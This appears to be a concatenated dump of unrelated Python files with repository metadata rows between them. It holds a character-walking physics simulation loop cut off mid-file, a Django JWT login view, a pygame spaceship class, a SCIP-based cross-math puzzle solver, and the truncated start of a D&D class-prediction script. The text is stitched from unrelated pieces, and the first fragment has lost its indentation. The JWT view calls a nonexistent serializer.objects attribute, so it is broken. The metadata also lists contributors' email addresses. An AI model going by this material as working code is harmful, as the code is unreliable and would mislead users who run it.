# CM_tar = yrp.getCM(motion_seg.getJointPositionsGlobal(frame), bodyMasses, upperMass, uppers)
## dCM_tar = yrp.getCM(motion_seg.getJointVelocitiesGlobal(frame), bodyMasses, totalMass)
## CM_tar = yrp.getCM(motion_seg.getJointPositionsGlobal(frame), bodyMasses, totalMass)
# stf_tar = motion_seg.getJointPositionGlobal(stanceFoots[0], frame)
# CMr_tar = CM_tar - stf_tar
dCM_tar = motion_seg.getJointVelocityGlobal(0, prev_frame)
CM_tar = motion_seg.getJointPositionGlobal(0, prev_frame)
# dCM_tar = yrp.getCM(motion_seg.getJointVelocitiesGlobal(prev_frame), bodyMasses, upperMass, uppers)
# CM_tar = yrp.getCM(motion_seg.getJointPositionsGlobal(prev_frame), bodyMasses, upperMass, uppers)
# dCM_tar = yrp.getCM(motion_seg.getJointVelocitiesGlobal(prev_frame), bodyMasses, totalMass)
# CM_tar = yrp.getCM(motion_seg.getJointPositionsGlobal(prev_frame), bodyMasses, totalMass)
stf_tar = motion_seg.getJointPositionGlobal(stanceFoots[0], prev_frame)
CMr_tar = CM_tar - stf_tar
dCM = avg_dCM[0]
CM = controlModel.getJointPositionGlobal(0)
# CM = yrp.getCM(controlModel.getJointPositionsGlobal(), bodyMasses, upperMass, uppers)
# CM = yrp.getCM(controlModel.getJointPositionsGlobal(), bodyMasses, totalMass)
CMreal = yrp.getCM(controlModel.getJointPositionsGlobal(), bodyMasses, totalMass)
stf = controlModel.getJointPositionGlobal(stanceFoots[0])
CMr = CM - stf
diff_dCM = mm.projectionOnPlane(dCM-dCM_tar, (1,0,0), (0,0,1))
diff_dCM_axis = np.cross((0,1,0), diff_dCM)
rd_vec1[0] = diff_dCM; rd_vecori1[0] = CM_tar
diff_CMr = mm.projectionOnPlane(CMr-CMr_tar, (1,0,0), (0,0,1))
# rd_vec1[0] = diff_CMr; rd_vecori1[0] = stf_tar
diff_CMr_axis = np.cross((0,1,0), diff_CMr)
direction = mm.normalize2(mm.projectionOnPlane(dCM_tar, (1,0,0), (0,0,1)))
# direction = mm.normalize2(mm.projectionOnPlane(dCM, (1,0,0), (0,0,1)))
directionAxis = np.cross((0,1,0), direction)
diff_dCM_sag, diff_dCM_cor = mm.projectionOnVector2(diff_dCM, direction)
# rd_vec1[0] = diff_dCM_sag; rd_vecori1[0] = CM_tar
diff_dCM_sag_axis = np.cross((0,1,0), diff_dCM_sag)
diff_dCM_cor_axis = np.cross((0,1,0), diff_dCM_cor)
diff_CMr_sag, diff_CMr_cor = mm.projectionOnVector2(diff_CMr, direction)
diff_CMr_sag_axis = np.cross((0,1,0), diff_CMr_sag)
diff_CMr_cor_axis = np.cross((0,1,0), diff_CMr_cor)
t = (frame-curInterval[0])/float(curInterval[1]-curInterval[0])
t_raw = t
if t>1.: t=1.
p_root = motion_stitch[frame].getJointPositionGlobal(0)
R_root = motion_stitch[frame].getJointOrientationGlobal(0)
motion_seg_orig.goToFrame(frame)
motion_seg.goToFrame(frame)
motion_stitch.goToFrame(frame)
motion_debug1.append(motion_stitch[frame].copy())
motion_debug1.goToFrame(frame)
motion_debug2.append(motion_stitch[frame].copy())
motion_debug2.goToFrame(frame)
motion_debug3.append(motion_stitch[frame].copy())
motion_debug3.goToFrame(frame)
# paper implementation
M_tc.append(motion_stitch[prev_frame])
M_tc.goToFrame(frame)
P_hat.append(M_tc[frame].copy())
P_hat.goToFrame(frame)
p_temp = ym.JointPosture(skeleton)
p_temp.rootPos = controlModel.getJointPositionGlobal(0)
p_temp.setJointOrientationsLocal(controlModel.getJointOrientationsLocal())
P.append(p_temp)
P.goToFrame(frame)
# stance foot stabilize
motion_stf_stabilize.append(motion_stitch[frame].copy())
motion_stf_stabilize.goToFrame(frame)
if STANCE_FOOT_STABILIZE:
for stanceFoot in stanceFoots:
R_target_foot = motion_seg[frame].getJointOrientationGlobal(stanceFoot)
R_current_foot = motion_stf_stabilize[frame].getJointOrientationGlobal(stanceFoot)
motion_stf_stabilize[frame].setJointOrientationGlobal(stanceFoot, cm.slerp(R_current_foot, R_target_foot , stf_stabilize_func(t)))
# R_target_foot = motion_seg[frame].getJointOrientationLocal(stanceFoot)
# R_current_foot = motion_stf_stabilize[frame].getJointOrientationLocal(stanceFoot)
# motion_stf_stabilize[frame].setJointOrientationLocal(stanceFoot, cm.slerp(R_current_foot, R_target_foot , stf_stabilize_func(t)))
# match stance leg
motion_match_stl.append(motion_stf_stabilize[frame].copy())
motion_match_stl.goToFrame(frame)
if MATCH_STANCE_LEG:
if curState!=yba.GaitState.STOP:
for i in range(len(stanceLegs)):
stanceLeg = stanceLegs[i]
stanceFoot = stanceFoots[i]
# # motion stance leg -> character stance leg as time goes
R_motion = motion_match_stl[frame].getJointOrientationGlobal(stanceLeg)
R_character = controlModel.getJointOrientationGlobal(stanceLeg)
motion_match_stl[frame].setJointOrientationGlobal(stanceLeg, cm.slerp(R_motion, R_character, match_stl_func(t)))
# t_y = match_stl_func_y(t)
# t_xz = match_stl_func(t)
#
# R_motion = motion_match_stl[frame].getJointOrientationGlobal(stanceLeg)
# R_character = controlModel.getJointOrientationGlobal(stanceLeg)
# R = np.dot(R_character, R_motion.T)
# R_y, R_xz = mm.projectRotation((0,1,0), R)
# motion_match_stl[frame].mulJointOrientationGlobal(stanceLeg, mm.scaleSO3(R_xz, t_xz))
# motion_match_stl[frame].mulJointOrientationGlobal(stanceLeg, mm.scaleSO3(R_y, t_y))
# swing foot placement
motion_swf_placement.append(motion_match_stl[frame].copy())
motion_swf_placement.goToFrame(frame)
if SWING_FOOT_PLACEMENT:
t_swing_foot_placement = swf_placement_func(t);
if extended[0]:
R_swp_sag = prev_R_swp[0][0]
R_swp_cor = prev_R_swp[0][1]
else:
R_swp_sag = mm.I_SO3(); R_swp_cor = mm.I_SO3()
R_swp_cor = np.dot(R_swp_cor, mm.exp(diff_dCM_cor_axis * K_swp_vel_cor * -t_swing_foot_placement))
if np.dot(direction, diff_CMr_sag) < 0:
R_swp_sag = np.dot(R_swp_sag, mm.exp(diff_dCM_sag_axis * K_swp_vel_sag * -t_swing_foot_placement))
R_swp_sag = np.dot(R_swp_sag, mm.exp(diff_CMr_sag_axis * K_swp_pos_sag * -t_swing_foot_placement))
else:
R_swp_sag = np.dot(R_swp_sag, mm.exp(diff_dCM_sag_axis * K_swp_vel_sag_faster * -t_swing_foot_placement))
R_swp_sag = np.dot(R_swp_sag, mm.exp(diff_CMr_sag_axis * K_swp_pos_sag_faster * -t_swing_foot_placement))
R_swp_cor = np.dot(R_swp_cor, mm.exp(diff_CMr_cor_axis * K_swp_pos_cor * -t_swing_foot_placement))
for i in range(len(swingLegs)):
swingLeg = swingLegs[i]
swingFoot = swingFoots[i]
# save swing foot global orientation
# R_swf = motion_swf_placement[frame].getJointOrientationGlobal(swingFoot)
# rotate swing leg
motion_swf_placement[frame].mulJointOrientationGlobal(swingLeg, R_swp_sag)
motion_swf_placement[frame].mulJointOrientationGlobal(swingLeg, R_swp_cor)
# restore swing foot global orientation
# motion_swf_placement[frame].setJointOrientationGlobal(swingFoot, R_swf)
prev_R_swp[0] = (R_swp_sag, R_swp_cor)
# swing foot height
motion_swf_height.append(motion_swf_placement[frame].copy())
motion_swf_height.goToFrame(frame)
if SWING_FOOT_HEIGHT:
for swingFoot in swingFoots:
stanceFoot = stanceFoots[0]
# save foot global orientation
R_foot = motion_swf_height[frame].getJointOrientationGlobal(swingFoot)
R_stance_foot = motion_swf_height[frame].getJointOrientationGlobal(stanceFoot)
if OLD_SWING_HEIGHT:
height_tar = motion_swf_height[frame].getJointPositionGlobal(swingFoot)[1] - motion_swf_height[frame].getJointPositionGlobal(stanceFoot)[1]
else:
height_tar = motion_swf_height[prev_frame].getJointPositionGlobal(swingFoot)[1] - groundHeight
d_height_tar = motion_swf_height.getJointVelocityGlobal(swingFoot, prev_frame)[1]
# height_tar += c_swf_mid_offset * swf_height_sine_func(t)
# motion_debug1[frame] = motion_swf_height[frame].copy()
# rotate
motion_swf_height[frame].rotateByTarget(controlModel.getJointOrientationGlobal(0))
# motion_debug2[frame] = motion_swf_height[frame].copy()
# motion_debug2[frame].translateByTarget(controlModel.getJointPositionGlobal(0))
if OLD_SWING_HEIGHT:
height_cur = motion_swf_height[frame].getJointPositionGlobal(swingFoot)[1] - motion_swf_height[frame].getJointPositionGlobal(stanceFoot)[1]
else:
height_cur = controlModel.getJointPositionGlobal(swingFoot)[1] - halfFootHeight - c_swf_offset
d_height_cur = controlModel.getJointVelocityGlobal(swingFoot)[1]
if OLD_SWING_HEIGHT:
offset_height = (height_tar - height_cur) * swf_height_func(t) * c5
else:
offset_height = ((height_tar - height_cur) * c5
+ (d_height_tar - d_height_cur) * c6) * swf_height_func(t)
offset_sine = c_swf_mid_offset * swf_height_sine_func(t)
# offset_sine = 0.
offset = 0.
offset += offset_height
offset += offset_sine
if offset > 0.:
newPosition = motion_swf_height[frame].getJointPositionGlobal(swingFoot)
newPosition[1] += offset
aik.ik_analytic(motion_swf_height[frame], swingFoot, newPosition)
else:
if HIGHER_OFFSET:
newPosition = motion_swf_height[frame].getJointPositionGlobal(stanceFoot)
newPosition[1] -= offset
aik.ik_analytic(motion_swf_height[frame], stanceFoot, newPosition)
# return
# motion_debug3[frame] = motion_swf_height[frame].copy()
# motion_debug3[frame].translateByTarget(controlModel.getJointPositionGlobal(0))
motion_swf_height[frame].rotateByTarget(R_root)
# restore foot global orientation
motion_swf_height[frame].setJointOrientationGlobal(swingFoot, R_foot)
motion_swf_height[frame].setJointOrientationGlobal(stanceFoot, R_stance_foot)
if plot!=None:
plot.addDataPoint('debug1', frame, offset_height)
plot.addDataPoint('debug2', frame, height_tar - height_cur)
# plot.addDataPoint('diff', frame, diff)
# swing foot orientation
motion_swf_orientation.append(motion_swf_height[frame].copy())
motion_swf_orientation.goToFrame(frame)
if SWING_FOOT_ORIENTATION:
swf_orientation_func = yfg.concatenate([yfg.zero, yfg.hermite2nd, yfg.one], [.25, .75])
for swingFoot in swingFoots:
R_target_foot = motion_seg[curInterval[1]].getJointOrientationGlobal(swingFoot)
R_current_foot = motion_swf_orientation[frame].getJointOrientationGlobal(swingFoot)
motion_swf_orientation[frame].setJointOrientationGlobal(swingFoot, cm.slerp(R_current_foot, R_target_foot, swf_orientation_func(t)))
# swf_stabilize_func = yfg.concatenate([yfg.hermite2nd, yfg.one], [c_taking_duration])
# push orientation
# for swingFoot in swingFoots:
# R_target_foot = motion_seg[frame].getJointOrientationGlobal(swingFoot)
# R_current_foot = motion_swf_orientation[frame].getJointOrientationGlobal(swingFoot)
# motion_swf_orientation[frame].setJointOrientationGlobal(swingFoot, cm.slerp(R_current_foot, R_target_foot , swf_stabilize_func(t)))
# stance foot push
motion_stf_push.append(motion_swf_orientation[frame].copy())
motion_stf_push.goToFrame(frame)
if STANCE_FOOT_PUSH:
for swingFoot in swingFoots:
# max_t = (maxStfPushFrame)/float(curInterval[1]-curInterval[0])
# stf_push_func = yfg.concatenate([yfg.sine, yfg.zero], [max_t*2])
stf_push_func = yfg.concatenate([yfg.sine, yfg.zero], [c_taking_duration*2])
R_swp_sag = mm.I_SO3()
# R_swp_sag = np.dot(R_swp_sag, mm.exp(diff_dCM_sag_axis * K_stp_vel * -stf_push_func(t)))
# if step_length_cur[0] < step_length_tar[0]:
# ratio = step_length_cur[0] / step_length_tar[0]
# R_max = maxmaxStfPushFrame
# R_zero =
R_swp_sag = np.dot(R_swp_sag, mm.exp((step_length_tar[0] - step_length_cur[0])*step_axis[0] * K_stp_pos * -stf_push_func(t)))
motion_stf_push[frame].mulJointOrientationGlobal(swingFoot, R_swp_sag)
# stance foot balancing
motion_stf_balancing.append(motion_stf_push[frame].copy())
motion_stf_balancing.goToFrame(frame)
if STANCE_FOOT_BALANCING:
R_stb = mm.exp(diff_dCM_axis * K_stb_vel * stf_balancing_func(t))
R_stb = np.dot(R_stb, mm.exp(diff_CMr_axis * K_stb_pos * stf_balancing_func(t)))
for stanceFoot in stanceFoots:
if frame < 5: continue
motion_stf_balancing[frame].mulJointOrientationGlobal(stanceFoot, R_stb)
# control trajectory
motion_control.append(motion_stf_balancing[frame].copy())
motion_control.goToFrame(frame)
#=======================================================================
# tracking with inverse dynamics
#=======================================================================
th_r = motion_control.getDOFPositions(frame)
th = controlModel.getDOFPositions()
dth_r = motion_control.getDOFVelocities(frame)
dth = controlModel.getDOFVelocities()
ddth_r = motion_control.getDOFAccelerations(frame)
ddth_des = yct.getDesiredDOFAccelerations(th_r, th, dth_r, dth, ddth_r, Kt, Dt)
#=======================================================================
# simulation
#=======================================================================
CP = mm.v3(0.,0.,0.)
F = mm.v3(0.,0.,0.)
avg_dCM[0] = mm.v3(0.,0.,0.)
# external force rendering info
del rd_forces[:]; del rd_force_points[:]
for fi in forceInfos:
if fi.startFrame <= frame and frame < fi.startFrame + fi.duration*(1/frameTime):
rd_forces.append(fi.force)
rd_force_points.append(controlModel.getBodyPositionGlobal(fi.targetBody) + -mm.normalize2(fi.force)*.2)
for i in range(stepsPerFrame):
bodyIDs, contactPositions, contactPositionLocals, contactForces = vpWorld.calcPenaltyForce(bodyIDsToCheck, mus, Ks, Ds)
vpWorld.applyPenaltyForce(bodyIDs, contactPositionLocals, contactForces)
# apply external force
for fi in forceInfos:
if fi.startFrame <= frame and frame < fi.startFrame + fi.duration*(1/frameTime):
controlModel.applyBodyForceGlobal(fi.targetBody, fi.force)
controlModel.setDOFAccelerations(ddth_des)
controlModel.solveHybridDynamics()
# # apply external force
# for fi in forceInfos:
# if fi.startFrame <= frame and frame < fi.startFrame + fi.duration*(1/frameTime):
# controlModel.applyBodyForceGlobal(fi.targetBody, fi.force)
vpWorld.step()
# yvu.align2D(controlModel)
if len(contactForces) > 0:
CP += yrp.getCP(contactPositions, contactForces)
F += sum(contactForces)
avg_dCM[0] += controlModel.getJointVelocityGlobal(0)
# avg_dCM[0] += yrp.getCM(controlModel.getJointVelocitiesGlobal(), bodyMasses, upperMass, uppers)
# avg_dCM[0] += yrp.getCM(controlModel.getJointVelocitiesGlobal(), bodyMasses, totalMass)
# if len(stanceFoots)>0:
# avg_stf_v[0] += controlModel.getJointVelocityGlobal(stanceFoots[0])
# avg_stf_av[0] += controlModel.getJointAngVelocityGlobal(stanceFoots[0])
CP /= stepsPerFrame
F /= stepsPerFrame
avg_dCM[0] /= stepsPerFrame
# if len(stanceFoots)>0:
# avg_stf_v[0] /= stepsPerFrame
# avg_stf_av[0] /= stepsPerFrame
# rd_vec1[0] = avg_stf_av[0]; rd_vec1[0][0] = 0.; rd_vec1[0][2] = 0.
# rd_vecori1[0]= controlModel.getJointPositionGlobal(stanceFoots[0])
#=======================================================================
# segment editing
#=======================================================================
lastFrame = False
if SEGMENT_EDITING:
if curState==yba.GaitState.STOP:
if frame == len(motion_seg)-1:
lastFrame = True
elif (curState==yba.GaitState.LSWING or curState==yba.GaitState.RSWING) and t>c_min_contact_time:
swingID = lID if curState==yba.GaitState.LSWING else rID
contact = False
if swingID in bodyIDs:
minContactVel = 1000.
for i in range(len(bodyIDs)):
if bodyIDs[i]==swingID:
vel = controlModel.getBodyVelocityGlobal(swingID, contactPositionLocals[i])
vel[1] = 0
contactVel = mm.length(vel)
if contactVel < minContactVel: minContactVel = contactVel
if minContactVel < c_min_contact_vel: contact = True
extended[0] = False
if contact:
# print frame, 'foot touch'
lastFrame = True
acc_offset[0] += frame - curInterval[1]
elif frame == len(motion_seg)-1:
print frame, 'extend frame', frame+1
preserveJoints = []
# preserveJoints = [lFoot, rFoot]
# preserveJoints = [lFoot, rFoot, lKnee, rKnee]
# preserveJoints = [lFoot, rFoot, lKnee, rKnee, lUpLeg, rUpLeg]
stanceKnees = [rKnee] if curState==yba.GaitState.LSWING else [lKnee]
preserveJoints = [stanceFoots[0], stanceKnees[0], stanceLegs[0]]
diff = 3
motion_seg_orig.extend([motion_seg_orig[-1]])
motion_seg.extend(ymt.extendByIntegration_root(motion_seg, 1, diff))
motion_stitch.extend(ymt.extendByIntegration_constant(motion_stitch, 1, preserveJoints, diff))
# # extend for swing foot ground speed matching & swing foot height lower
## extendedPostures = ymt.extendByIntegration(motion_stitch, 1, preserveJoints, diff)
## extendedPostures = [motion_stitch[-1]]
##
# extendFrameNum = frame - curInterval[1] + 1
# k = 1.-extendFrameNum/5.
# if k<0.: k=0.
# extendedPostures = ymt.extendByIntegrationAttenuation(motion_stitch, 1, preserveJoints, diff, k)
#
## if len(swingFoots)>0 and np.inner(dCM_tar, dCM)>0.:
## print frame, 'speed matching'
## R_swf = motion_stitch[-1].getJointOrientationGlobal(swingFoots[0])
##
## p_swf = motion_stitch[-1].getJointPositionGlobal(swingFoots[0])
## v_swf = motion_stitch.getJointVelocityGlobal(swingFoots[0], frame-diff, frame)
## a_swf = motion_stitch.getJointAccelerationGlobal(swingFoots[0], frame-diff, frame)
## p_swf += v_swf * (frameTime) + a_swf * (frameTime)*(frameTime)
## aik.ik_analytic(extendedPostures[0], swingFoots[0], p_swf)
##
## extendedPostures[0].setJointOrientationGlobal(swingFoots[0], R_swf)
#
# motion_stitch.extend(extendedPostures)
extended[0] = True
else:
if frame == len(motion_seg)-1: lastFrame = True
if lastFrame:
if segIndex < len(segments)-1:
print '%d (%d): end of %dth seg (%s, %s)'%(frame, frame-curInterval[1],segIndex, yba.GaitState.text[curState], curInterval)
if plot!=None: plot.addDataPoint('diff', frame, (frame-curInterval[1])*.01)
if len(stanceFoots)>0 and len(swingFoots)>0:
# step_cur = controlModel.getJointPositionGlobal(swingFoots[0]) - controlModel.getJointPositionGlobal(stanceFoots[0])
# step_tar = motion_seg[curInterval[1]].getJointPositionGlobal(swingFoots[0]) - motion_seg[curInterval[1]].getJointPositionGlobal(stanceFoots[0])
step_cur = controlModel.getJointPositionGlobal(0) - controlModel.getJointPositionGlobal(stanceFoots[0])
step_tar = motion_seg[curInterval[1]].getJointPositionGlobal(0) - motion_seg[curInterval[1]].getJointPositionGlobal(stanceFoots[0])
step_cur = mm.projectionOnPlane(step_cur, (1,0,0), (0,0,1))
step_tar = mm.projectionOnPlane(step_tar, (1,0,0), (0,0,1))
step_cur_sag, step_cur_cor = mm.projectionOnVector2(step_cur, direction)
step_tar_sag, step_tar_cor = mm.projectionOnVector2(step_tar, direction)
step_length_tar[0] = mm.length(step_tar_sag)
if np.inner(step_tar_sag, step_cur_sag) > 0:
step_length_cur[0] = mm.length(step_cur_sag)
else:
step_length_cur[0] = -mm.length(step_cur_sag)
step_axis[0] = directionAxis
# rd_vec1[0] = step_tar_sag
# rd_vecori1[0] = motion_seg[curInterval[1]].getJointPositionGlobal(stanceFoots[0])
# rd_vec2[0] = step_cur_sag
# rd_vecori2[0] = controlModel.getJointPositionGlobal(stanceFoots[0])
seg_index[0] += 1
curSeg = segments[seg_index[0]]
stl_y_limit_num[0] = 0
stl_xz_limit_num[0] = 0
del motion_seg_orig[frame+1:]
motion_seg_orig.extend(ymb.getAttachedNextMotion(curSeg, motion_seg_orig[-1], False, False))
del motion_seg[frame+1:]
del motion_stitch[frame+1:]
transitionLength = len(curSeg)-1
# motion_seg.extend(ymb.getAttachedNextMotion(curSeg, motion_seg[-1], False, False))
# motion_stitch.extend(ymb.getStitchedNextMotion(curSeg, motion_control[-1], transitionLength, stitch_func, True, False))
d = motion_seg[-1] - curSeg[0]
d.rootPos[1] = 0.
motion_seg.extend(ymb.getAttachedNextMotion(curSeg, d, True, False))
d = motion_control[-1] - curSeg[0]
d.rootPos[1] = 0.
motion_stitch.extend(ymb.getStitchedNextMotion(curSeg, d, transitionLength, stitch_func, True, False))
# motion_seg.extend(ymb.getAttachedNextMotion(curSeg, motion_seg[-1], False, True))
# motion_stitch.extend(ymb.getStitchedNextMotion(curSeg, motion_control[-1], transitionLength, stitch_func, True, True))
else:
motion_seg_orig.append(motion_seg_orig[-1])
motion_seg.append(motion_seg[-1])
motion_stitch.append(motion_control[-1])
# rendering
motionModel.update(motion_ori[frame])
# motionModel.update(motion_seg[frame])
rd_CP[0] = CP
rd_CMP[0] = (CMreal[0] - (F[0]/F[1])*CMreal[1], 0, CMreal[2] - (F[2]/F[1])*CMreal[1])
if plot!=None:
plot.addDataPoint('zero', frame, 0)
plot.updatePoints()
viewer.setSimulateCallback(simulateCallback)
if MULTI_VIEWER:
viewer.startTimer(frameTime / 1.4)
else:
viewer.startTimer(frameTime * .1)
viewer.show()
Fl.run()
pass
push_simbicon_mass()
|
[
"garethvlf@gmail.com"
] |
garethvlf@gmail.com
|
29a8581e55715c55b33da3a20d3f360ae5cb218f
|
26daf6ee609ffc04d426f17b726ce91dc68aef5d
|
/chat_project/chat_project/views.py
|
384efcc1ab16b4b9968736b1fd8c4344b3b83155
|
[] |
no_license
|
tapadiyapriyanka/chat-app
|
83c84f05de0b950fe98c03aa146c99088ff982a0
|
72d0156c27266dde4723ef18f7857928e9478e37
|
refs/heads/master
| 2021-09-06T02:01:25.032759
| 2017-12-28T14:08:49
| 2017-12-28T14:08:49
| 115,386,850
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,260
|
py
|
import datetime
import jwt
from django.conf import settings
from rest_framework import parsers, renderers, status
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework.authtoken.serializers import AuthTokenSerializer
class JSONWebTokenAuth(APIView):
throttle_classes = ()
permission_classes = ()
parser_classes = (parsers.FormParser, parsers.MultiPartParser, parsers.JSONParser,)
renderer_classes = (renderers.JSONRenderer,)
serializer_class = AuthTokenSerializer
def post(self, request):
serializer = self.serializer_class(data=request.data)
if serializer.is_valid():
# print('test',serializer['username'])
user = serializer.objects['username']
token = jwt.encode({
'username': user,
'iat': datetime.datetime.utcnow(),
'nbf': datetime.datetime.utcnow() + datetime.timedelta(minutes=-5),
'exp': datetime.datetime.utcnow() + datetime.timedelta(days=7)
}, settings.SECRET_KEY)
return Response({'token': token})
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
json_web_token_auth = JSONWebTokenAuth.as_view()
|
[
"priyatapadiya.pt@gmail.com"
] |
priyatapadiya.pt@gmail.com
|
54233aff7a165d2f58face68023c6e17308bd0a4
|
04568fae7b4923656043a2ff08e715a5898081f1
|
/space_rocks/player.py
|
1a6e14cd6a339ab61bc7bbc497c2d0ee238cde06
|
[] |
no_license
|
balanikas/space-rocks
|
5c32e9a4f3579836af43439df71596a8a6ade5ec
|
d3aba42b74a05b489fcb9349ae5015ca34d23419
|
refs/heads/master
| 2023-05-03T11:04:29.764783
| 2021-05-15T16:26:06
| 2021-05-15T19:47:58
| 350,666,293
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,547
|
py
|
from enum import Enum
from typing import NamedTuple, Callable, Any
import pygame
from pygame import Vector2
from pygame.surface import Surface
import space_rocks.animation as anim
import space_rocks.audio as sounds
import space_rocks.graphics as gfx
from space_rocks.geometry import Geometry
from space_rocks.models import Bullet, BulletProperties, GameObject
from space_rocks.utils import (
bounce_other,
get_blit_position,
scale_and_rotate,
bounce_edge,
get_resize_factor,
)
from space_rocks.window import window
class ActiveWeapon(Enum):
PRIMARY = 1
SECONDARY = 2
class PlayerProperties(NamedTuple):
damage: float
armor: float
maneuverability: float
acceleration: float
sound_on_impact: str
image_name: str
anim_on_destroy: str
primary_weapon: BulletProperties
secondary_weapon: BulletProperties
def validate(self):
assert self.damage > 0
assert self.armor > 0
assert self.maneuverability > 0
assert self.acceleration > 0
class Player(GameObject):
UP = Vector2(0, -1)
def __init__(
self,
properties: PlayerProperties,
position: Vector2,
create_bullet_callback: Callable[[Any], None],
):
self._p = properties
self._create_bullet_callback = create_bullet_callback
self._direction = self.UP
self._active_weapon = ActiveWeapon.PRIMARY
self._last_shot = 0
self._armor = self._p.armor
self._angle = 0.0
super().__init__(
position,
gfx.get(self._p.image_name, resize=get_resize_factor(0.1)),
Vector2(0),
)
self._rotated_image = self.image
@property
def damage(self):
return self._p.damage
@property
def armor(self):
return self._armor
@property
def direction(self):
return self._direction
def resize(self):
self.image = gfx.get(self._p.image_name, resize=get_resize_factor(0.1))
self.reposition()
def rotate(self, clockwise: bool = True):
sign = 1 if clockwise else -1
angle = self._p.maneuverability * sign
self._direction = self._direction.rotate(angle)
def move(self, surface: Surface):
self.geometry = bounce_edge(surface, 50, 0.6, self.geometry)
self.rect.center = (
int(self.geometry.position.x),
int(self.geometry.position.y),
)
def draw(self, surface: Surface):
if self.armor <= 0:
return
angle = self._direction.angle_to(self.UP)
if angle != self._angle:
rotated_surface = scale_and_rotate(self.image, angle, 1)
self._rotated_image = rotated_surface
self._angle = angle
else:
rotated_surface = self._rotated_image
blit_position = get_blit_position(rotated_surface, self.geometry.position)
surface.blit(rotated_surface, blit_position)
def accelerate(self):
self.geometry = self.geometry.update_vel(
self.geometry.velocity + (self._direction * self._p.acceleration)
)
def switch_weapon(self):
if self._active_weapon == ActiveWeapon.PRIMARY:
self._active_weapon = ActiveWeapon.SECONDARY
else:
self._active_weapon = ActiveWeapon.PRIMARY
sounds.play("change_weapon")
def shoot(self):
w = (
self._p.primary_weapon
if self._active_weapon == ActiveWeapon.PRIMARY
else self._p.secondary_weapon
)
if pygame.time.get_ticks() - self._last_shot < w.reload:
return
self._last_shot = pygame.time.get_ticks()
weapon_velocity = self._direction * w.speed
weapon_velocity = Vector2(
weapon_velocity.x * window.factor.x, weapon_velocity.y * window.factor.y
)
w = Bullet(w, self.geometry.position, weapon_velocity)
self._create_bullet_callback(w)
def hit(self, other: Geometry, damage: float):
self._armor -= damage
if self._armor > 0:
sounds.play(self._p.sound_on_impact)
self.geometry = bounce_other(self.geometry, other)
else:
sounds.play(self._p.sound_on_impact)
def get_impact_animation(self) -> anim.Animation:
return anim.get(
self._p.anim_on_destroy, self.geometry.position, resize=(200, 200)
)
@property
def active_weapon(self) -> ActiveWeapon:
return self._active_weapon
|
[
"c_balanikas@hotmail.com"
] |
c_balanikas@hotmail.com
|
2d8118fb28a7b6c6d527581345523cf0485541b9
|
671e274094b889597a2eac44a8fc4bcf583df5ac
|
/qcp/one_hot_matrix.py
|
dbba43ca76f47915331a50ff165790af4d48ad2f
|
[] |
no_license
|
Isitar/migros-cross-math-solver
|
805a0f2bbf450cf172d4ce57f745bd59f780da11
|
b0893a2dd587a85c8d11359a604a2ee5e159987d
|
refs/heads/master
| 2020-12-10T20:02:06.640653
| 2020-01-15T22:16:53
| 2020-01-15T22:16:53
| 233,696,215
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,252
|
py
|
from pyscipopt import Model
model = Model("migros-cross-math")
x = []
for i in range(0, 9):
x.append([])
for j in range(0, 9):
x[i].append(model.addVar(f'x{i}_{j}', vtype="BINARY"))
constraints = []
# general cross-math rules
for x_i in x:
constr = 0
for x_i_j in x_i:
constr += x_i_j
constraints.append(constr == 1)
for j in range(0, len(x_i)):
constr = 0
for i in range(0, len(x)):
constr += x[i][j]
constraints.append(constr == 1)
vals = []
for x_i in x:
val = 0
for j in range(0, len(x_i)):
val += (j + 1) * x_i[j]
vals.append(val)
# actual cross-math
constraints.append((vals[0] - vals[1]) * vals[2] == 3)
constraints.append((vals[3] + vals[4]) * vals[5] == 20)
constraints.append((vals[6] + vals[7]) + vals[8] == 20)
constraints.append(vals[0] - vals[3] + vals[6] == 13)
constraints.append((vals[1] + vals[4]) / vals[7] == 1)
constraints.append((vals[2] * vals[5]) * vals[8] == 20)
model.setObjective(0)
for cons in constraints:
model.addCons(cons)
model.optimize()
sol = model.getBestSol()
for i in range(0, len(x)):
for j in range(0, len(x[i])):
if sol[x[i][j]] == 1:
print(j + 1, end='')
if (i + 1) % 3 == 0:
print()
|
[
"luescherpascal@gmail.com"
] |
luescherpascal@gmail.com
|
4de20f0109cf70e5f728227b677b37923f8e3e0d
|
06fa929e73ba42d6f96605d8bbde674c5e2f0639
|
/01-open-read-pwd.py
|
29dde0d54f7a94764aeabe7a3dec677ebd979bbf
|
[] |
no_license
|
biagiola/python-file-manipulation
|
6b25e560a4373ff8e0fa136bb07cd70ee8329e1b
|
a29def48ee13353feab191f85faadac3736f6868
|
refs/heads/main
| 2022-12-22T01:14:48.738913
| 2020-10-02T15:50:11
| 2020-10-02T15:50:11
| 300,651,079
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 170
|
py
|
import os
g = open('data', 'rt')
f = open("data.txt", "r")
for x in f:
print(x)
print('Entire file: \n', g.read())
print(g.readlines())
print(os.system("pwd"))
|
[
"marcelobiagiola01@gmail.com"
] |
marcelobiagiola01@gmail.com
|
bc7e20b9311d255c3353f7a015de56cb7971e407
|
9ab27d9f29d924937223842d2f9beebf7a669107
|
/AbilityScoreAndClassMashineLearning.py
|
9f0b8af1ce6a26cefab25559a7f494e97b62fc79
|
[] |
no_license
|
Micniks/Python-Exam
|
c21749b7cfbb6635ffb78e9a808c80bda0b6530d
|
24cbf96762c3e654ea865c32603330db5fbdc4c2
|
refs/heads/main
| 2023-02-04T02:29:01.207912
| 2020-12-27T13:30:38
| 2020-12-27T13:30:38
| 318,752,729
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,100
|
py
|
import pandas as pd
import numpy as np
import argparse
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import train_test_split
default_dataset = 'https://raw.githubusercontent.com/oganm/dndstats/master/docs/charTable.tsv'
class DNDClassPredictor:
"""
This class use machine-learning in order to make guesses on good class choices based on a choosen ability score
"""
def __init__(self, dataset = None):
"""
Initiate the class, either with a given dataset, or it will pull from the default dataset.
"""
#Get data from dataset
if dataset is None:
self.dataset = pd.read_csv(default_dataset, sep='\t')
else:
self.dataset = dataset
self.__features = self.dataset[['Str','Dex','Con','Wis','Int','Cha']]
targets = self.dataset[['justClass']]
